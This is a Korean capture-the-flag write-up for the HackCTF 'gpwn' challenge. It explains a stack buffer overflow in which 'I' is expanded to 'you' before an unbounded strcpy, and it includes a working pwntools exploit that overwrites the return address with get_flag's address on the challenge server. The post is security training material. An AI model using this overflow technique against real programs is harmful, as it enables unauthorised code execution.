728x90
check
- 32 bit
- NX
Analyze
pseudo code
C++ 코드로 되어 있어서 우선 익숙하지 않아 해석하는게 가장 문제다..
- s 에 0x3c (=60)byte만큼 할당하고 fgets함수를 통해 32byte만큼 읽어들인다. 이 때에는 길이 제한이 생겨 버퍼오버플로우를 일으킬 수 없다.
- 정확히 코드들을 해석하기는 어렵지만,, 실행결과를 참고해서 보면 "I"를 입력하면 s의 내용이 저장된 input변수에 "I"를 저장하고 이를 v1에 저장하면서 you를 대신 저장하여 문자열 s에 복사하고 문자열을 출력한다. >> 입력할 때에는 32byte라는 길이제한이 있었지만 strcpy함수를 사용할 때는 길이제한을 두지 않았기 때문에 복사하면서 오버플로우 시킬 수 있다.
실행
- "I"를 입력했을 때 you로 대체된다.
>> s를 이용하여 오버플로우를 시키기위해서는 BUF[60]+SFP[4] = 64byte만큼 dummy로 채워줘야하는데 처음 입력받을 때는 입력제한이 있으므로 "I"를 이용해 "you"로 대체되는 것을 이용하여 "I"*20→"you"*20 으로 60byte를 채워주고 "AAAA"등의 dummy값으로 SFP 4byte를 채워준다. RET는 get_flag()의 주소로 넘겨주면 된다!
>> 따로 libc를 leak할 필요는 없는 것 같다. (주소가 고정적이다.)
Exploit
from pwn import *
#p = process("./gpwn")
p = remote("ctf.j0n9hyun.xyz", 3011)
flag = 0x8048f0d
pl = "I"*20
pl += "BBBB"
pl += p32(flag)
p.send(pl)
p.interactive()
더보기
recvuntil("~~~")을 하면 실행이 되지 않았다. 왜일까..?
SMALL
'System > PWNABLE' 카테고리의 다른 글
[HackCTF] Random Key (0) | 2021.02.13 |
---|---|
[HackCTF] 1996 (0) | 2021.02.13 |
[HackCTF] Poet (0) | 2021.02.11 |
[HackCTF] RTL_World (0) | 2021.02.11 |
[HackCTF] Yes or No (0) | 2021.02.11 |